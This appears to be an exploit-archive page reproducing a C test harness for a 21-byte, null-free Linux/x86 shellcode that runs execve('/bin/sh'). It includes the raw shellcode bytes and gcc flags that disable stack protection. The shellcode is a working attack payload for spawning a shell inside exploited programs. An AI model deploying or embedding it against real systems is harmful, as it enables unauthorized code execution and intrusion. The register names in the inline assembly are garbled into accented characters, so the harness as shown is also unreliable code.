Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (6)

2013-01-01 12:05:03

/*

Tiny Execve sh Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits

http://hackingbits.com
[email protected]

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>

*/

/*

tiny_execve_sh_shellcode

* 21 bytes
* null-free


# gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode

Testing
# ./tiny_execve_sh_shellcode

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";


main ()
{

// When contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(shellcode));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, êx\n\t"
"movl êx, ëx\n\t"
"movl êx, ìx\n\t"
"movl êx, íx\n\t"
"movl êx, %esi\n\t"
"movl êx, íi\n\t"
"movl êx, ëp\n\t"

// Calling the shellcode
"call shellcode");

}

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.